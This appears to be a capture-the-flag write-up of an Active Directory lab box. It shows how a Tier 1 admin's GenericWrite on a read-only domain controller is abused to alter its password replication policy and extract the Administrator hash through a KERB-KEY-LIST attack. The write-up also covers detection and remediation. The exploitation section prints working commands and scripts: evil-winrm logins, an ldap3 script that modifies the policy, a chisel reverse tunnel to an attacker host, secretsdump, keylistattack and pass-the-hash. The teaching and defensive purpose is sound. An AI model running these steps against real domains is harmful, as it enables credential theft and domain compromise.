Overview
Garfield is a hard Windows box presenting an Active Directory domain with a dual-DC architecture: a primary writable domain controller (DC01) and a Read-Only Domain Controller (RODC01) on a segregated internal network. The attack chain proceeds from a Tier 1 administrator credential through RODC infrastructure abuse to domain compromise.
The core vulnerability is an ACL misconfiguration: a Tier 1 admin account has GenericWrite on the RODC computer object. This allows modifying the Password Replication Policy (PRP) attributes, removing the deny rules that prevent Administrator credential caching. With the PRP cleared, the KERB-KEY-LIST attack forces DC01 to reveal the Administrator’s NT hash via the RODC’s Kerberos key.
The box demands deep understanding of RODC architecture, Kerberos delegation mechanics, and the subtle differences between PRP attributes. Several plausible attack paths (RODC golden tickets, DCSync, RBCD) fail for specific technical reasons that are instructive in themselves.
Reconnaissance
I scan the standard AD ports:
nmap -Pn -sV -p 88,135,139,389,445,636,3268,3389,5985,9389 10.129.15.89
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 88 | Kerberos | Microsoft Windows Kerberos | Domain: garfield.htb |
| 389 | LDAP | Active Directory LDAP | DC01 |
| 445 | SMB | Microsoft SMB | Windows Server 2019 |
| 5985 | WinRM | Microsoft HTTPAPI httpd 2.0 | Remote management |
Standard Active Directory services. No web application, no ADCS (confirmed via
certipy enumeration). LDAP signing is not enforced. The domain is
garfield.htb and the DC hostname is DC01.
Attack Surface Analysis
Domain user enumeration
LDAP enumeration with compromised credentials reveals a minimal user population:
| Account | Notes |
|---|---|
| Administrator | Standard Domain Admin |
| krbtgt | Standard DC Kerberos account |
| krbtgt_8245 | RODC-specific Kerberos account (RID 8245) |
| j.arbuckle | IT Support, password never expires |
| l.wilson | Standard user |
| l.wilson_adm | IT Support, Tier 1 admin |
No Kerberoastable SPNs on user objects. No ASREPRoastable accounts.
RODC infrastructure
LDAP reveals a second domain controller: RODC01 at 192.168.100.2 on a segregated internal network, not directly accessible from the attacker.
The RODC’s Password Replication Policy attributes are critical:
- msDS-RevealOnDemandGroup (allow list): contains
Administrator - msDS-NeverRevealGroup (deny list): contains
Administratorsbuiltin group andDenied RODC Password Replication Group - msDS-RevealedList (cached): only
l.wilson_admandkrbtgt_8245
The Administrator account is on the allow list but blocked by the deny list. The deny list takes precedence. Administrator credentials have never been cached on RODC01.
ACL analysis
bloodyad -d garfield.htb -u l.wilson_adm -p 'Garfield2024!' \
--dc-ip 10.129.15.89 get writable --otype COMPUTER
l.wilson_adm has GenericWrite on RODC01’s computer object. No write access to
DC01. This is the key finding: GenericWrite on the RODC allows modifying the
PRP attributes.
Vulnerability Analysis
The vulnerability is an ACL misconfiguration combined with an RODC PRP design pattern that becomes exploitable when write access is available.
GenericWrite on RODC01. The IT Support group has GenericWrite on the RODC
computer object. This level of access is unnecessary for RODC management tasks
and allows modification of security-critical attributes including
msDS-NeverRevealGroup.
PRP bypass via NeverRevealGroup modification. The Password Replication
Policy uses two lists: the allow list (msDS-RevealOnDemandGroup) and the
deny list (msDS-NeverRevealGroup). The deny list takes precedence. If an
account appears in both, caching is denied. Removing the blocking entries from
the deny list allows caching for accounts already on the allow list.
KERB-KEY-LIST attack. RODCs use a special Kerberos mechanism to request credential replication from the writable DC. The KERB-KEY-LIST request, sent with the RODC’s krbtgt key, asks DC01 to return the NT hash for a specified user. DC01 evaluates the current PRP before responding. If the PRP permits caching, DC01 returns the hash.
| Attribute | Value |
|---|---|
| CWE | CWE-732 (Incorrect Permission Assignment) |
| Root cause | GenericWrite on RODC computer object granted to Tier 1 admin |
| Impact | Full domain compromise via Administrator NT hash extraction |
Exploitation
Initial access
evil-winrm -i 10.129.15.89 -u l.wilson_adm -p 'Garfield2024!'
WinRM shell as l.wilson_adm on DC01. User flag captured.
Phase 1: PRP manipulation
Remove the blocking entries from RODC01’s msDS-NeverRevealGroup:
import ldap3
server = ldap3.Server('10.129.15.89')
conn = ldap3.Connection(server, 'garfield.htb\\l.wilson_adm', 'Garfield2024!')
conn.bind()
rodc_dn = 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb'
# Remove Denied RODC PRP Group
conn.modify(rodc_dn, {
'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
['CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'])]
})
# Remove Administrators builtin group
conn.modify(rodc_dn, {
'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
['CN=Administrators,CN=Builtin,DC=garfield,DC=htb'])]
})
Both modifications succeed. The Administrator account is now permitted for credential caching on RODC01 (present in RevealOnDemandGroup, no longer blocked by NeverRevealGroup).
Phase 2: pivot to RODC01
RODC01 at 192.168.100.2 is only reachable from DC01. Pivot infrastructure:
Attacker (10.10.14.84)
chisel server :8888 --reverse --socks5
|
DC01 (10.129.15.89)
chisel.exe client 10.10.14.84:8888 R:socks
|
RODC01 (192.168.100.2)
SMB:445, Kerberos:88, WinRM:5985
Local socat forwards map 127.0.0.2 ports to RODC01 through the SOCKS proxy.
RODC01’s machine account password (RODCadmin2024!) was recovered from a
deployment script on DC01.
Phase 3: krbtgt_8245 key extraction
The RODC’s unique krbtgt key is required for the KERB-KEY-LIST attack:
secretsdump.py 'GARFIELD/RODC01$:[email protected]' \
-dc-ip 10.129.15.89 -just-dc-user krbtgt_8245
This retrieves the AES-256 key for krbtgt_8245.
Phase 4: KERB-KEY-LIST attack
keylistattack.py \
-rodcNo 8245 \
-rodcKey <krbtgt_8245_aes_key> \
-t Administrator \
-dc-ip 10.129.15.89 \
GARFIELD/l.wilson_adm:[email protected]
DC01 evaluates the PRP (which now permits Administrator caching) and returns the Administrator’s NT hash. Pass-the-hash for domain admin:
evil-winrm -i 10.129.15.89 -u Administrator -H <nthash>
Root flag captured.
Post-Exploitation
Additional findings
Post-exploitation enumeration revealed several residual risks:
- Print Spooler running on DC01: creates an NTLM coercion surface via MS-RPRN. Combined with the unenforced LDAP signing, this enables relay-based attacks independent of the RODC path.
- AutoAdminLogon configured for Administrator: the password is stored in LSA Secrets, recoverable with SYSTEM access.
- LDAP signing not enforced: unsigned NTLM LDAP binds succeed, enabling relay attacks for attribute modification on behalf of coerced machine accounts.
Failed approaches
Several seemingly viable attack paths failed for instructive reasons:
RODC golden ticket. Forging a TGT with krbtgt_8245 for Administrator
produced KDC_ERR_S_PRINCIPAL_UNKNOWN on every TGS-REQ. DC01 validates
RODC-issued tickets against msDS-RevealedList, not just the PRP attributes.
Since Administrator never physically authenticated through RODC01, the
RevealedList does not contain an entry, and DC01 rejects the ticket.
DCSync as RODC01$. The RODC holds “Replicating Directory Changes” but not “Replicating Directory Changes All.” The former is insufficient for hash extraction via GetNCChanges. RODCs use RODC-specific DRS calls governed by the PRP, not the general replication path.
RBCD against DC01$. l.wilson_adm has no write access to DC01’s computer
object. Only RODC01 and attacker-created machine accounts are writable.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.002 | WinRM authentication with Tier 1 admin credentials |
| Privilege escalation | T1548 | LDAP modifications to msDS-NeverRevealGroup |
| Credential access | T1003.003 | KERB-KEY-LIST requests from non-RODC sources |
| Lateral movement | T1021.006 | WinRM sessions from DC01 to RODC01 |
| Discovery | T1087.002 | LDAP enumeration of RODC PRP attributes |
AD-level: Windows Security Event 4742 (computer account changed) records
modifications to RODC attributes. An alert on any change to
msDS-NeverRevealGroup that removes high-privilege groups would detect this
attack immediately.
Kerberos-level: KERB-KEY-LIST requests should originate only from RODCs. Requests originating from other sources or for accounts not in the RevealedList are anomalous.
Network-level: Chisel tunnelling from DC01 to external hosts is detectable via outbound HTTP connections on non-standard ports from a domain controller.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove GenericWrite from IT Support on RODC01 | Low | Critical |
| P0 | Rotate RODC01 machine account to random 120+ chars | Low | Critical |
| P0 | Monitor msDS-NeverRevealGroup for modifications | Medium | Critical |
| P1 | Enforce LDAP signing on DC01 | Low | High |
| P1 | Disable Print Spooler on domain controllers | Low | High |
| P2 | Remove AutoAdminLogon from DC01 | Low | Medium |
| P2 | Restrict SeMachineAccountPrivilege | Low | Medium |
| P3 | Use managed service accounts for RODC01 | Medium | Medium |
The root cause is the GenericWrite ACL. Tier 1 administrators need read-only
access to RODC management attributes, not write access. The delegation of
administration wizard can grant only the specific attributes required (e.g.,
read msDS-RevealedList). GenericWrite on an RODC computer object is
equivalent to the ability to force credential replication for any account on the
allow list.
The RODC machine account password (RODCadmin2024!) was manually set rather
than auto-generated. Hardcoded passwords in deployment scripts are a persistent
credential exposure risk. Managed service accounts eliminate manual password
management entirely.
Key Takeaways
-
RODC PRP is a security boundary controlled by ACLs. The Password Replication Policy prevents credential caching on RODCs. But the policy is stored as LDAP attributes on the RODC computer object. Any principal with write access to that object can modify the policy.
-
NeverRevealGroup is the critical control. The deny list takes precedence over the allow list. Removing entries from NeverRevealGroup is equivalent to adding entries to RevealOnDemandGroup in terms of net effect, but is less likely to be monitored because defenders focus on additions rather than removals.
-
RODC golden tickets require RevealedList population. Modifying the PRP is necessary but not sufficient for golden ticket attacks. DC01 validates RODC-issued tickets against the RevealedList, which records which accounts have actually authenticated through the RODC. The KERB-KEY-LIST attack bypasses this requirement.
-
DCSync rights differ between writable DCs and RODCs. “Replicating Directory Changes” without “Replicating Directory Changes All” is insufficient for secretsdump. RODCs use PRP-governed DRS calls, not the general GetNCChanges path.
-
Pivot infrastructure is often already present. The box contained
chisel.exeand a TCP relay script (relay.ps1) pre-staged for RODC access. In real environments, attackers leave tools behind. Defenders should monitor for unexpected binaries on domain controllers.